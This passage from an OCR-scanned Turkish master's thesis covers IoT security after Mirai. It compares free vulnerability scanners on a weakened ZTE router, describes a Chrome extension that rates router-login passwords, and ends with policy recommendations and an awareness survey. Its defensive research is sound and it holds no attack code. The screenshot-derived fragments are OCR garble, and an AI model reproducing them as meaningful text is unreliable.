desteklemektedir. Uygulama 192.168.1.28 IP adresli Iphone 7 mobil telefon iizerine
kurularak test edilmistir. Kurulum sonrasinda Resim 7.6.a’da goriildiigii {izere
baslangi¢ ekrani goriintiilenmekte, SCAN tusu ile baslatilarak Resim 7.6.b’de goriilen
cihaz listesi gosterilmektedir. Tarama baslatildiginda 1 dakika ig¢erisinde 192.168.1.22
IP adresli bilgisayar hari¢ agdaki diger 6 aktif sistemi ve bu sistemlerdeki agik portlari
bulmustur, tarama miiddetince ilerleme ¢ubugu ile kullaniciya bilgi verilmistir. Check
butonu tiklanarak sistemler tizerindeki parola giivenligi test edilmistir. Resim 7.6.c’de
goriildiigi lizere 4 dakika icerisinde agdaki cihazlarin parola testleri tamamlanmis ve
ve Resim 7.6.d’de gorildiugi tizere ZTE cihazinin parolasinin zayif oldugu tespit
edilmistir, tarama miiddetince ilerleme ¢ubugu ile kullaniciya bilgi verilmistir. Resim
7.7°de goriildiigii tizere sistemlerin marka ve model bilgileri elle girildigi takdirde o
sistemlerle ilgili gegmiste raporlanan agikliklar1 da goriintiilemekte, port scan tusu
tiklandiginda agik portlar raporlanmakta, ping tusuna basildiginda cihaza ping

gonderilerek gecikme ve kayip durumu raporlanmaktadir.
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MIRAI_DEFENDER MIRAI_DEFENDER MIRAI_DEFENDER
1) SUPERONLINE_WiFi_3611 Hosts: 0 | | 17 SUPERONLINE_WiFi_3611 Hosts: 6 1) SUPERONLINE_WiFi_3611 Hosts: 6
EPSONDS5D2F EPSONDS5D2F
= EPSONDSBD2E = EpsONDSE0ZF
L ] EPSON @ EPSON
192.168.1.25 192.168.1.25
[ ] @
S — Prablems wer found S
Problems were found. It is st otk
Welcome to MIRA_DEFENDER yrERE] el Android
— Android Andr
D wiiiceitaey ° ?’gm, oty Tocdoges o - ° ?." s ) vty Tocdogescorm
connected to your Wi-Fi. Pa ot weak
iPhone 7 iPhone 7
E K
can L ] Al €. 2 Apple, In¢
e 0 e
192.168.1.50 192.168.1.50
1= =
192168150 192168150
Password is weak
- S t £

(@) (b) © d

Resim 7.6: MIRAI DEFENDER uygulamast: (a) Uygulama baglangi¢ ekrani,

(b) Tespit edilen cihazlar, (¢) Detayli tarama sonucu ikaz, (d) Cihazlara ait

parola testi sonuglart.

< Back 192.168.1.50 { Back ZXV10 { Back ZXV10 Edit

PORT  Description ZXV10
AUTO IPva: 192168150

80 www-http

T IPv6
23 telnet MAC: N/A
Vendor: ZTE 21 ftp HOST
Mosiet gt 7547 cwmp Vendor: ZTEd
Version: W300 -'
Model: Zxvi0 4
Version: W300 [
PING:  Delay: ms  Loss: %

CHECK: Password: @
CVE

112]3]4|5]6]7|8]9]0

A 2019-01-24 CVE-2018-7366

A 2017-08-30 CVE-2015-7258
[CVE]

A 2017-08-29 CVE-2015-7259

e 2 &

CHECK PING

(a) (b) ()

Resim 7.7: MIRAI DEFENDER uygulamasi ek 6zellikleri: (a) Elle cihaz
bilgilerinin girilmesi, (b) A¢ik portlarin goriintiilenmesi, (¢) Cihaza ait

gecmiste raporlanan agikliklarin goriintiilenmesi.
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7.1.1 Degerlendirme

IoT cihazlarinda agiklik taramasi yapmak tiizere gelistirilen {icretsiz uygulamalar

arastirildiginda Tiirkge bir uygulama bulunmadigi goriilmiistiir.

Uygulamalarin ~ karsilagtirnildigi ~ Cizelge 7.1°de  gorildiigli  iizere mevcut
uygulamalardan biri zafiyetli ag cihazindaki mevcut giivenlik agikligini hig tespit
edememistir. Giivensiz bir iirliniin giivenli oldugunu degerlendirmek daha biiytlik
giivenlik sorunlarina yol agabilir. Burada bir tasarim hatast oldugu aciktir. Tasarim
hatalar1 kullanilabilirlik hususunda yapilabilecegi gibi, bu testte de goriildiigl iizere
islevsellik hususunda da yapilabilir. Bu tiir uygulamalar1 kullaniciya sunan sirketler
tirlinlerini gergekgi test metotlar ile yiik altinda dogru bir sekilde test etmelidir. Diger
lic uygulama zafiyetli ag cihazindaki acik portlar1 raporlamis ve bir giivenlik acigi
oldugunu bildirmistir. Test edilen 1. ve 3. uygulama giivenlik zafiyetini yalnizca agik
portlar ile iligkilendirmis ve bu portlarin kapatilmasini tavsiye etmis, 4. uygulama ise
Mirai kiitiiphanesinde kayitli parolalar1 cihaz {izerinde denemis ve parola zafiyeti
oldugunu bildirmistir. Tiim uygulamalarin ingilizce oldugu dikkate alindiginda bu
ikazlar1 anlamak icin Ingilizce bilinmesinin gerektigi aciktir. Dolayisiyla Tiirk

kullanicilarin bu uygulamalardan fayda saglama oran1 az olacaktir.

Cizelge 7.1: Uygulamalarin karsilagtirilmasi.

Tespit ve ZTE ZTE
Desteklenen | Desteklenen detayl testin Agt'ia Tespit uzern?de iizerindeki
Uygulama . tamamlanma | Edilemeyen tespit agikhk
Platform Diller . . -
siiresi Cihazlar edilen raporlandi
(toplam) portlar m?
Trendmicro ] .
Windows Ingilizce 3 dk. - 21,23,80 Evet
House Call
Bitdefender
Home Windows Ingilizce 17 dk. Iphone 7 - Hayir
Scanner
Kaspersky . . 21,23,
Android Ingilizce 2 dk. - Evet
loT Scanner 7547
Intec Mirai . Cince, Japonca, o 21,23,80,
Android, 10S . 5 dk. Bilgisayar Evet
Defender Ingilizce 7547

Ancak esas elestirilecek konu bu uygulamalarin kullanictya sadece agik portlar
raporlamasidir. Siradan bir kullanic1 cihaz tizerindeki portlarin nasil kapatilacagim

bilmeyebilir ama parolanin nasil degistirilebilecegi cihazlarin kullanim kilavuzunda
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yazan temel seviyede bir islemdir. Ornegin test esnasinda zafiyetli olarak
yapilandirilan ag cihazinin kullanim kilavuzunda parolanin nasil degistirilecegi
yazmaktadir ancak portlarin nasil kapatilacagi yazmamaktadir. Siradan bir kullanici
icin Telnet protokoliiniin faal olmasi bir anlam ifade etmeyebilir, bunun bir giivenlik
acig1 yaratabilecegi kullaniciya bildirilse dahi kullanict bu konuda nasil bir tedbir
almasi gerektigini bilmeyebilir. Burada asil giivenlik sorunu kullanicinin giivensiz bir
parola kullaniyor olmasi ihtimalidir. Dolayisiyla IoT aciklik tarayicist olarak
tasarlanan bir uygulamada kullanicilara varsayilan/giivensiz parola kullanimi
konusunda hatirlatmada bulunulmasi, agik portlarin yaratacagi tehlikeler bildirilirken
bu tehlikelerin parolalar ile de iliskilendirilmesi gerekmektedir. Ag cihazindaki

zafiyeti tespit eden her {i¢ uygulama da bu konuda yetersiz gorillmiistiir.

7.2 Web Tarayic1 Uzantisi ile Giivenli Parola Kullaniminin Desteklenmesi

Web tarayict eklentileri web tarayicilarinin standart olarak sundugu fonksiyonlara
ilave ozellikler eklemeye yarayan uygamalardir. Bu 6zellikler zaten web tarayicilarin
hali hazirda sundugu ozellikler (6rn. yer isareti ekleme) olabilecegi gibi reklam
sitelerini engelleme vb. tiimiiyle farkli bir fonksiyonun eklenmesi miimkiindiir [127].
Her ii¢ Firefox kullanicisindan birinin en az bir tarayict uzantis1 kullandigi

degerlendirilmektedir [128].

Mirai vb. 10T botnet saldirilarinin etkisini azaltma amaciyla akademisyenler tarafindan
Onerilen tedbirler degerlendirildiginde bir cogunun son kullaniciyr gilivenlik
cemberinin diginda birakan yontemler oldugu gortilmistir. Makine Ogrenimi,
blokzincir vb. ileri diizey yontemlerle 10T cihazlarimin giivenliginin saglanmasi
onerilse dahi bu ¢oziimlerin su anda siradan kullanicilara yapacag katki sinirlidir, bu
yontemlerin son kullanictya sunulacak bir {iriin haline getirilmesi gerekmektedir. Bu
tez kapsaminda yapilan kullanici arastirmasinda Owasp IoT Top 10 listesi ile uyumlu
bir sekilde Tiirkiye’deki her bes kullanicidan ikisi satin aldiklari cihazlarin varsayilan
parolalarint ilk kurulumda degistirmedigi gibi kullanicilarin 10T cihazlarinin
giivenligine dair farkindalik diizeyinin yetersiz oldugu goriilmiistiir. Son kullanici
odakli hazirlanan 10T cihazlar1 giivenlik tarama uygulamalari tamamen Ingilizce
dilinde hazirlanmustir, ingilizce bilmeyen kullanicilarin bu uygulamalardan fayda

saglamasi beklenmemelidir.
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Son kullanicilarin satin aldiklar1 10T cihazlarimin parolalarint zor tahmin edilir
segmeleri mevcut nesnelerin interneti giivenligine bliyiik katki saglayacaktir. Bu
davranisi pekistirmek amaciyla PassGuru isimli bir web tarayici uzantisi tasarlanarak

kodlanmustir.

7.2.1 Uzantinin amaci

PassGuru uzantisinin temel amaci kullanicilarin web tarayicinin adres ¢ubuguna
girdigi 192.168.1.* paternli adresleri tespit ederek kullaniciyr ikaz etmek ve
kullanictya parolasini test ederek gilivenli olup olmadigini 6grenebilecegi bir arag
saglamaktir. Adres paternini degistirmek, ilave adresler eklemek miimkiindiir. Yapilan
kullanict ¢aligmasinda kullanicilarin %86’sinin Google Chrome kullaniyor olmasi
nedeniyle Google Chrome uyumlu tasarlanmistir ancak kodlarda yapilacak kiiclik

degisikliklerle Mozilla Firefox ve Opera tarayicilarina uyarlanabilmektedir.

Web tarayici uzantilar kullanim amacina gére Browser Action ve Page Action olmak
tizere iki ayr1 metotla kodlanir. Kullanicinin gezdigi 6riin sayfalarin cogunda devreye
girmesi planlanan uzantilar Browser Action ile, sadece belirlenmis ve daha az siklikta
goriintiilenen sayfalarda devreye girmesi planlanan uzantilar Page Action olarak

tasarlanir. PassGuru Page Action ile tasarlanmistir.

7.2.2 Uzantinin tasarimi

PassGuru uzantisinin dosya yapist Sekil 7.2°de sunulmustur. manifest.json dosyasi
icerisinde tlim uzantilarin sahip olmasi gereken temel 6zellikler kodlanmaktadir. Bu
kapsamda uzantinin adi, versiyon bilgisi, izinleri, kullandig1 betik ve html dosyalari,
kullandig1 ikonlar manifest.json dosyast igerisine tanimlanarak uzant1 paketi

kapasaminaa dahil edilir. manifest.json dosyasi kaynak kodu EK-2.1’de sunulmustur.

Background.js igerisinde kodlanan fonksiyonlar ile tarayici calisirken arka planda
dinleme yapilarak tanimlanmis adres paterni tespit edildiginde uzantinin

etkinlestirilmesi saglanir.

Content scripts kapsaminda; passguru.js dosyasi icerisindeki fonksiyonlar ile
kullaniciya “PassGuru devrede” icerikli ikaz iiretilir ve web sitesi kirmizi ¢ergeve igine
alinir, sweetalert.js ile kullaniciya goriintiilenecek ikazlarin 6zellestirilmesi saglanur,
jquery-3.1.0.min.js ile jquery fonksiyonlari edinilir, content_script.js ile background.js

icerisindeki fonksiyonlara girdi saglanarak tarayici agik kaldig siirece adres cubuguna
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girilen adreslerin uzanti tarafindan kontrol edilmesi saglanir. passguru.js dosyasi

kaynak kodu EK-2.2’de sunulmustur.

 enfest i

PassGuru ——*| manifest.json —+ !
Q ! i . Jquery- '

|| Passgurujs | | Sweetalert,s guery . !

: J 3.1.0.minjs Content_script.js :

A {
AR 1 L e 1

Sekil 7.2: PassGuru uzantist dosya yapisi.

Page action kapsaminda uzantiya ait cesitli boyutlardaki ikonlar tanimlanir, uzanti
tarafindan tretilen varsayilan popup sayfast olusturulur. Popup kapsaminda
kullanictya goriintiilenecek popup.html sayfasi, stilleri igeren popup.css dosyasi ve
girilen parolay1 test edecek betiklerin bulundugu popup.js dosyasi bulunur. Popup.js

dosyasinda kayith kaynak kodlar EK-2.3’te sunulmustur.

7.2.3 Uzantinin calisma dongiisii

Uzantinin akis diyagrami Sekil 7.3’de gosterilmistir. Uzant1 web tarayici acildiginda
devreye girer ve arka planda siirekli web tarayici adres ¢ubuguna girilen adresleri
dinler. Resim 7.8’de goriildiigii iizere girilen adresler manifestoda kayitli 192.168.1.*
paternine uymadig1 siirece adres ¢cubugu yanindaki PassGuru ikonu gri renktir ve
uzantt devre disidir. Resim 7.9°da goriildiigii lizere girilen bir adres 192.168.1.*
paternine uyuyorsa adres ¢ubugunun yanindaki PassGuru ikonu mavi renge doner ve
uzanti etkinlestirilir, kullaniciya PassGuru’nun devrede oldugunu bildirir bir ikaz
iiretilir ve web sayfasi kirmizi ¢ergeve icine alinir. Kullanici bu ikazi “OK” tusu ile

kapatir.
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Adres
Cubugunu dinle

Yeni adres
girildi.

Sayfayi kirmizi
cergeve igine al.

v

ikaz Uret.

Kullanici
ikonu tikladi

mi?
Parola
girildi.

Parola_testi

Hayir Evet

Popup goster.

Sekil 7.3: Uzantinin akis diyagramu.

8 https://www.google.com

Google

Resim 7.8: 192.168.1.* paternine uymayan adreslerde uzantinin devreye
girmemesi.
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€ (e © Guverli degil | 192.168.1.1

0

2

PassGuru Devrede!

Bir IP adresine erigmeye galistigini algiladim. Eger
internete bagl bir cihaza (modem, kamera vb.) erigiyorsan
cihaz parolani senin igin test edebilirim. Test igin
tarayicindaki PassGuru ikonunu tikla!

Resim 7.9: 192.168.1.* paternine uyan adreslerde uzantinin devreye girmesi.

Tarayict lizerindeki PassGuru ikonu tiklandigi takdirde Resim 7.10°da gosterildigi
lizere popup sayfast kullanictya goriintiilenir. Bu sayfada kullaniciya basit parola
kullaniminin zararlart ve uzantinin girilen parolayr kimseyle paylasmayacagina dair
ikaz bulunmaktadir. Kullanici form alanina tikladigi takdirde Resim 7.11°de
gorildiigii tizere 5 farkl kural kirmizi renk ve ¢arpi isaretiyle kullaniciya gosterilir. Bu
kurallar “Bir kii¢tik harf olmal1”, “Bir biiylik harf olmali”, “Bir say1 olmal1”, “Bir 6zel
karakter olmal1”, “Minimum 8§ karakter barindirmali” olarak diizenlenmistir. Kaynak

kod iizerinde degisiklik yaparak kurallar1 6zellestirmek miimkiindiir.

< [l © Givenl degil | 192.168.1.1

o
QU Home Gateway HG255s @ PassGURU
)

intemete bagh bir cinaza (modem, kamera vb.) mi erigiyorsun?

Ana ekran Internet Yerel Ag Paylag Telefon 1. admin, rool, 1234 gibi basit parola kullanimi cinazlannizin
gegiril

Girig
PRI — :
adi Degerlendir
©— Parola

Varsayilan oturum agma parolasini nasil bulurum?

Sifreyi unuttunuz mu?

» Durum Bilgileri

Resim 7.10: ikon tiklandiginda gériintiilenen popup sayfast.
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Home Gateway HG255s

< [eM © Givenii degil | 192.168.1.1

&@ Home Gateway HG255s @ PassGURU
HUAWEI

intemete bagh bir cihaza (modem, kamera vb.) mi erisiyorsun?

Ana ekran Internet Yerel Ag Paylag Telefon 1. admin, root, 1234 gibi basit parala kullanim cihazlannizin
Kalayca ele gegiimesine sbep olur,

2. Sizin igin parola giivenliginizi dlgebilirim

3. Girdiginiz parola kendi tarayicinizda test ediimekde ve
Kimseyle paylagimamaktaorr,

Liitfen chazinizin mevcut parolasini yazarak degerlendir
butonuna basiniz.

Girig

Kull
2 T agmin o .
ad Degerlendir
o= Parola

Giivenli parola olusturmak igin:

Varsayilan oturum a¢ma parolasini nasil bulurum? B AT

Sifreyi unuttunuz mu? X Bir biiyiik harf olmal

Oturum a¢ X Bir sayi omal

X BIr ozel karakter olmal

Durum Bilgileri X Minimum 8 karakter barindirmali

Resim 7.11: Giivenli parola kurallarinin kullanici tarafindan goriintiilenmesi.

Resim 7.12°de goriildiigii lizere kullanict form alanina her bir karakter girdiginde o
ana kadar girilen metnin tamaminin kurallara uygunlugu test edilir ve uyulan kurallar
yesil renge boyanir, ¢arpi isaretleri tik (dogru) isaretiyle degisir. Resim 7.13’te
goriildiigii tizere kullanic1 degerlendir butonuna bastiginda tiim kurallara uyuluyorsa
yesil tik (basarili) ikonlu “Harika, bu parolay1 kullanmani tavsiye ederim!”, Resim
7.14’te goriildiigh lizere kurallardan herhangi birine uyulmyorsa sar1 tinlem (dikkat)

ikonlu “Zay1f parola, bu parolay1 degistirmelisin!” ikaz1 kullaniciya gosterilir.

lome Gateway HG255s

< [el © Givenlidegil | 192.168.1.1

g@ Home Gateway HG255s
HUAWEL

Ana ekran Internet Yerel Ag Paylag Telefon

Girig

Kulianici
2 admin . -
ad Degerlendir
o= Parola

Giivenli parola olugturmak igin:

Varsayilan oturum agma parolasini nasil bulurum? g TR EET

Sifreyi unuttunuz mu? v Bir biiyiik harf oimall.

Oturum ag X Bir sayi olmal

X Bir ozel karakter olmal

Durum Bilgileri X Minimum & karakter barindirmal

Resim 7.12: Her karakter girisinde parolanin kurallara uygunlugunun kontrolii.
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+

= [l © Guvenlidegil | 192.168.1.1 :g i

sg Home Gateway HG255s
HUAWEL

Home Gateway HG255s

Yerel Ag

Ana ekran Internet Telefon

Girig

2 K HARIKA!

o= Parola
Bu parolay! kullanmani tavsiye

ederim!

Varsayilan oturum acma parolasini nasil bulurum? “

Sifreyi unutiunuz mu?

» Durum Bilgileri

Resim 7.13: Kurallara uyan parolanin test edilmesi sonucu iiretilen ikaz.

Home Uateway HEZ5bs

< [l © Guvenli degil | 192.168.1.1 P i

'ﬂ% Home Gateway HG255s
HUAWEI

Yerel Ag Paylas

Ana ekran Internet Telefon

Girig

Kullamici

el I ZAYIF PAROLA

o= Parola
Bu parolay degistirmelisin!

Varsayilan oturum acma parolasini nasil bulurum?

Sifreyi unuttunuz mu?

¥ Durum Bilgileri

Resim 7.14: Kurallara uymayan parolanin test edimesi sonucu iiretilen ikaz.

7.2.4 Kasitlar

Uzantilar kullanicilarin tarayict deneyimlerini 6zellestirmek igin kullanilan basit
yazilimlardir, tek bir amagla tasarlanmalar1 ve bu amacin dar bir kapsamda
tamimlanmis olmasi gerekir [129]. Giivenlik, tasarim ve kullanimda kolaylik
saglanmasi bakimindan 6nceden tanimli API, fonksiyon ve kiitiiphanelerin uzantilarda

kullanilmas: sarttir.

Uzantilarin  temek niteliklerinin  belirlendigi manifestolar dinamik tasarim

desteklememektedir. PassGuru icin 6rneklendirmek gerekirse kullanicinin yerel ag
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adresinin ve alt ag maskesinin uzanti tarafindan tespit edilip sadece o yerel ag
adreslerinde devreye girmesinin saglanmasi miimkiin degildir. Manifesto igerisinde
“matches” ile tanimlanan adres paternlerinin uzanti tarayictya yiikklenmeden dnce net
bir sekilde beyan edilmesi gerekir. Bu sebeple PassGuru uzantisi mevcut kaynak
kodlariyla sadece 192.168.1.* adresleri goriintiilendiginde devreye girer. Tiirkiye’de
ev tipi kullanicilarin internet saglayicilarindan edindikleri yonlendirici cihazlar genel
olarak bu adres paterniyle yerel ag olusturduklarindan, uzantinin mevcut haliyle bir

cok kullaniciya hizmet verecegini degerlendirmek miimkiindiir.

95






8. SONUC

0T cihazlar1 sahip olduklar1 kisith sistem kaynaklart nedeniyle yiiksek seviyeli
giivenlik ve sifreleme uygulamalarina sahip degildir, oniimiizdeki siirecte de tiim
cihazlara bu uygulamalarin kurulacagim1 diisinmek gercek¢i bir degerlendirme

olmayacaktir.

Mirai zararli yazilimi kodlanisi itibariyle kolayca 6zellestirilebilmekte, orta seviye bir
programlama bilgisiyle faaliyete gegirilebilmektedir. Halen diinyada 1000 civarinda
komuta kontrol sunucusunun bulunmasi ve siirekli yeni bir versiyonunun tespit
edildiginin duyurulmasi bu zararli yazilimin kendi alamindaki etkinliginden ve
kodlama basarisindan kaynaklanmaktadir. Diinyada yaklasik 6 milyon cihazin Mirai
ve tiirevleri tarafindan hedef alinabilecek 6zelliklere sahip oldugu diisiintildiigiinde
tehlikenin devam ettigini degerlendirmek miimkiindiir. Zararli yazilimlarin birbirlerini
nasil etkiledigi, nasil evrimlestigi ve her gegen giin hangi yeni yetenekleri kazandig:
bu ¢alisma kapsaminda ortaya konmustur. 10T botnetlerle artik hizmet dis1 birakma
saldirilarini ¢ok diisiik maliyetlerle kiralayabilmek miimkiin hale gelmistir. Su an 10T
botnetler ¢ogunlukla agik IP adresli cihazlari etki altina almaktadir. Agik IP adresli ve
zafiyetli cihaz sayis1 azaldik¢a bir yonlendirici arkasinda bulunan cihazlari etki altina
alacak, farkli mimarileri hedefleyecek versiyonlarin gelistirilecegini sdylemek
miimkiindiir. Satori zararli yaziliminda UPnP protokollii cihazlarin hedef alinmasi bu

durumun bir 6rnegidir.

Parola gibi en temel ve bilinen giivenlik tedbirinin dogru kullamimi konusunda
kullanicilar bilinglendirmek giivenlik sorununu kesin olarak ¢dzmeyecektir. Sadece
loT cihazlarinda degil, web uygulamalarinda dahi varsayilan bir parola ile
uygulamanin kullanimina devam edilmesi miimkiin ise kullanicilar dogrudan, siber
giivenlik alaninda ¢alisan uzmanlar dahi olsalar, yeni bir parola tanimlamadan
uygulamay1 kullanmaya devam edebilmektedir [130]. Kisilerin; kendilerine segenek
sunuldugu takdirde, ilave adimlar gerekmeksizin ve efor harcamadan sistemleri/
uygulamalart en kisa yoldan kullanmaya meyilli olduklar1 seklinde bir

degerlendirmede bulunmak miimkiindiir. Bu sebeple bir sistemin/uygulamanin
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varsayilan ayarlarinin ne olmasi gerektigi yeniden degerlendirilmeli ve zorunlu haller
disinda giivenli tasarim ilkeleri dogrultusunda varsayilan parola ile yapilandirma

yonteminden tiimiiyle vazgecilmelidir.

Bir kisim tireticiler zafiyetli cihazlarini geri ¢agirmis veya giincelleme yayinlamis olsa
da ¢ogu treticinin boyle bir girisimi bulunmamaktadir. Ayrica giincellemelerin kisith

sayida modeli destekledigi bilinmektedir.

Mirai ve tilirevi zararlh yazilimlar konusunda yapilan akademik calismalar
incelendiginde oOnerilen ¢o6ziimlerin evlerinde 10T cihazi barindiran siradan
kullanicilardan ziyade ag uzmanlarinin, sistem yoneticilerinin, siber gilivenlik
uzmanlarinin uygulayabilecegi ¢oziimler oldugu goriilmiistiir. Siber giivenlikte tiim
giivenlik sorunlarini adresleyen bir ¢6ziim liretmek miimkiin degildir. Ancak makine
ogrenmesi ile saldir1 tespiti, giivenlik arttirict betikler vb. uygulamalar halen
isletmesinin giivenliginde zafiyetli bir IP kameraya giivenen bir kullaniciya sinirl
seviyede katki saglayabilir. Teknoloji okur yazarlik seviyesi diisiik kullanicilara

yonelik pratik ¢oziimler iiretilmesi gerekmektedir.

Kullanicilar1 giivenli parola konusunda tesvik etmek iizere tasarlanan web tarayici
uzantist Tiirkce olmasi, Windows isletim sisteminde ¢alismasi ve Google Chrome
tarayiciya kolayca kurulabilmesi nedeniyle erisilebilir bir uygulamadir. Herhangi bir
aciklik taramasi yapma amaci giitmeden dogrudan parola gilivenligini hedef
almaktadir. Boyutu 326 kb.’tir. Bu tiir bir 6zelligi “acilir pencere engelleyicisi” gibi
dogrudan web tarayiciya ekleyebilmek ve kullaniciya sunmak miimkiindiir. Bu tiir bir
islev kullanicilardaki “cihaz parola gilivenligi” farkindalik diizeyine katki saglayabilir;
ancak kullanicilarin bu uzanti kapsaminda sunulan parola politikasina uymayan

parolalar segerek cihazlarini yapilandirma ihtimali varolmaya devam edecektir [131].

8.1 Tiirkiye ile Tlgili Degerlendirmeler

Mirai zararli yaziliminin ortaya ¢ikisindan bugiine dek yaklasik 3 yil gegmistir. Siber
glivenlik alaninda ¢alisan uzmanlar artik 10T cihazlarini varsayilan parola ile kullanan
kullanici bulunmadigi yanilgisina kapilabilir. Ancak bu caligma kapsaminda
gerceklestirilen kullanici algi ve tespit anketi sonuglari gostermistir ki tilkemizdeki
kullanicilarin %40°1 cihazlarin1 satin aldiktan sonraki ilk kurulumda varsayilan

parolay1 degistirmemektedir. 10T cihazlarinin siber saldirtya ugrayabilecegi nispeten
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bilinse dahi bu cihazlarla saldirt da diizenlenebilecegi olgusu tam manasiyla
bilinmemektedir. Kendilerini bir siber saldirmmin muhtemel hedefi olarak goren
kullanict sayisi oldukca azdir. Uzmanlar tarafindan elde edilen bilgilerin kullaniciya
aktarim1 ve kullanicinin farkindalik seviyesinin arttirilmast konusunda eksiklikler
bulundugu asikardir. Bu eksiklikler ise basit ve gecici tedbirlerle ¢oziilemez.
Ulkemizde ilkdgretim, ortadgretim ve yiiksekdgretim seviyesinde bilisim teknolojileri
ve temel kodlama tizerine ¢esitli dersler verilmektedir. Kamu kurumu ve 6zel sektor
calisanlar bilgi giivenligi farkindalik egitimlerine tabi tutulmaktadir. Yasal otoriteler
tarafindan ortaya konulacak bir irade ile ilkdgretimden itibaren bilgi giivenligi
farkindalik egitimleri verilmeli, bu egitimlere nesnelerin internetinin giivenligi konusu

da dahil edilerek farkindalik eksikliginin giderilmesi saglanmalidir.

Tiirkiye’de 10T giivenligi konusunda yapilan stratejik calismalar yetersizdir. ivedilikle
“Ulusal Nesnelerin Interneti Stratejisi ve Eylem Plam” hazirlanmali, bu plan
kapsaminda bir yol haritas1 olusturulmalidir. Sirasiyla 10T cihazlarinin uymasi gereken
giivenlik standartlar1 tespit edilmeli, cihazlarin giiven damgasi ile damgalanmasini
saglayacak test ve belgelendirme siireci olusturulmali, belgelendirilmeyen iiriinlerin

Tiirkiye pazarina arzini engelleyecek tesvik ve diizenlemeler yayinlanmalidir.

Ikinci el iiriin satis sitelerinde Mirai tarafindan hedef alinan cihazlarin hala satildig1 ve
bu iriinlerin hala evlerde ve isyerlerinde kullanildig1 bilinen bir gergektir. Bir kisim
tilkeler zafiyetli cihaz satisini engellemeye yonelik tedbirler almiglardir ancak
tilkemizde bu tiir yasal diizenlemeler heniiz yapilmamistir. Bu tiir diizenlemelerin
etkili olacag1 diisiiniilse de daha Once satilmis ve halen kullanilan {riinler
toplatilmadik¢a bu diizenlemelerden tam fayda beklemek miimkiin degildir.
Dolayisiyla giivenli tasarim ilkeleri belirlenmis cihazlarin satiginin tesvik edilmesine
ve lilkemizdeki otoriteler tarafindan duyurulacak standartlara uymayan cihazlarin

piyasadan ¢ekilmesine yonelik diizenlemelere ihtiyag vardir.

loT cihazlarinin test ve belgelendirmesinde faydalanilan ISO/IEC 15408 Ortak
Kriterler Belgelendirmesi siireci uzun ve maliyetli bir siirectir. Bu siirecin 10T cihazlar
i¢in tasarlanmamis bir silire¢ oldugu g6z oniinde bulundurulmali ve ivedilikle 10T
cihazlarma 6zel olarak bir belgelendirme siireci gelistirilmeli veya bu cihazlar TSEK
505 Temel Seviye Giivenlik Belgelendirmesi programi kapsaminda ele alinmalidir.
ETSI TS 103 645 “Cyber Security for Consumer Internet of Things” standardi

tarafindan belirlenen temel 10T giivenlik prensipleri bu noktada yol gdsterici olmalidir.
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IoT cihazlarinda agiklik taramasi yapmak iizere gelistirilen ilicretsiz uygulamalar
aragtirilldiginda Tiirkge dilini destekleyen bir uygulama bulunmadigi gortlmistiir.
Mevcut uygulamalardan biri test esnasinda belirgin bir zafiyeti tespit edemedigi gibi
dort uygulamadan ii¢ii parola giivenligi konusunda kullaniciyr bilgilendirmeden
yalnizca agik portlart tespit ederek bunlarin kapatilmasini  Onermekte, dort
uygulamadan ikisi agdaki tiim cihazlar1 kesfedememektedir. Mevcut kosullarda bu
uygulamalardan Ingilizce bilmeyen ve diisiik teknoloji okur yazarlig1 seviyesine sahip
kullanicilarin  faydalanabilmesini beklemek miimkiin degildir. Siber Giivenlik
Kiimelenmesi kapsaminda faaliyet gosteren firmalar tarafindan, Tiirk¢e dilini
destekleyen, muadil iirtinlerin yetkinligine sahip bir tcretsiz 10T agiklik tarama

programi gelistirilerek Tiirk kullanicilara sunulmasi biiyiik fayda saglayacaktir.
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EK-1 EGILIM VE FARKINDALIK TESPIiTi ANKETi SORULARI

Bilgi Teknolgjileri Uzerine Egilim ve Farkindalik Tespit Anketi

Aydinlabiimg Onam Formu

*Bilgi Teknaolgjiler ve Parola Kullamimi Uzering Egilim ve Farkindalis Tespiti- aghkh bir aragtirma yapmaktayiz. Calismaya katihim gondliolik
es3zing dayaldir.

Bu arastirma TOBB ETU Fen Bilmleri Enstiticii Bilgi Gowenligi Yiksek Lisans Progranm biinyesinds, Prof Dr. Ali Aydin SELCUK
damgmanhiginda yiksek lizans @grencisi M.Serkan TOK tarafindan gergeklestiilecektr. Bu srastrmay yspmak istememizin smaoi, son
kullamicilann bilgi givenlii we parelz kullamiming dair egfimienini tespit etmektn. Elde edilen bulgular skademik arzsurma igerisinde veri seti
olarzk kullanilazaktr, Anket slrzsi ontalama 5 didir

Bu anxette hig bir kisisel veri kayit sltina abnmamaktadir. Eder arastirmaya katimay kabul ederseniz:

1. Ankete erigfiiniz 1P adresiniz kesinlikle ksydsdimaz, log tutuimaz.

2 \erecediniz cevaplar anonimlestiilic, ankete katilanlsr iz bu cevaplar arazinda iFyet kurulmas: teknik olarak mimkin degidin

3. Vereceginiz cevaplar yalnizea skademik ¢ahisma maksadiyls kullanilie, hig bir sebepls dgined bir tarsf ile paylagimaz.

4. Talep halinde anket sonuglan kathme: ile yénetici zet seklinds paylagilr.

5. 18 yagini deldurmamig bireylerin katilimi igin veli nzas: gerekir,

B. Kigisel Verilerin Korunmas: Kanunu uyannea toplanan cevaplar beyan edilen maksat diginda kullaniimaz. Bu husus aragurmacinin taahhitd
alundadir.

Dilerseniz goris ve dnerilerinizi anketin son sorusunda belitebilirsiniz.
Seru sormak isterseniz mioki@efu edu ir adresinden we 0532 692 80 44 numaral telefondan arastirmaciya ulasabilirsiniz.

Aniat sarukannin 10m haki sakioir lZin alemadan ve kaynak gosterimeden podaiiamaz vaya kulanilamaz

1. Yukandaki aciklamayi okudugumu onayliyorum. Arastirmaciya soru sorma imkamina sahip oldugumu,
diledigim anda anketten vazgegme haklam bulundudunu biliyorum.

|:_:| Génilli olarak ankete katilscadim. 18 yagindan biyogim.

1.

Resim Ek-1.1: Katilimcilara goriintiilenen aydinlatilmis onam formu.

Cinsiyetinizi se¢iniz.

[ ] Kadin [ ] Erkek

2.

Yasinizi seginiz.

[ ]11-20
[ ]21-30
[ ]31-40
[ ]41-50
[ ]51-60
[ ]61 ve tizeri
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3. Egitim durumunuzu se¢iniz.

[ ] ilkokul

[ ] Ortaokul

[ ] Lise

[ ] On Lisans

[ ] Lisans

[ ] Yiiksek Lisans
[ ] Doktora

4. Satin aldiginiz bir cihazla (IP kamera, modem vb.) birlikte verilen varsayilan
parolay1 (admin, root vb.) ne kadar siireyle kullanirsiniz?

[ ] Siirekli kullanirim.

[ ] 6 aya kadar kullanirim.

[ 13 aya kadar kullanirim.

[ ]1 aya kadar kullanirim.

[ ] Kullanmam. i1k kurulumu yaparken degistiririm.

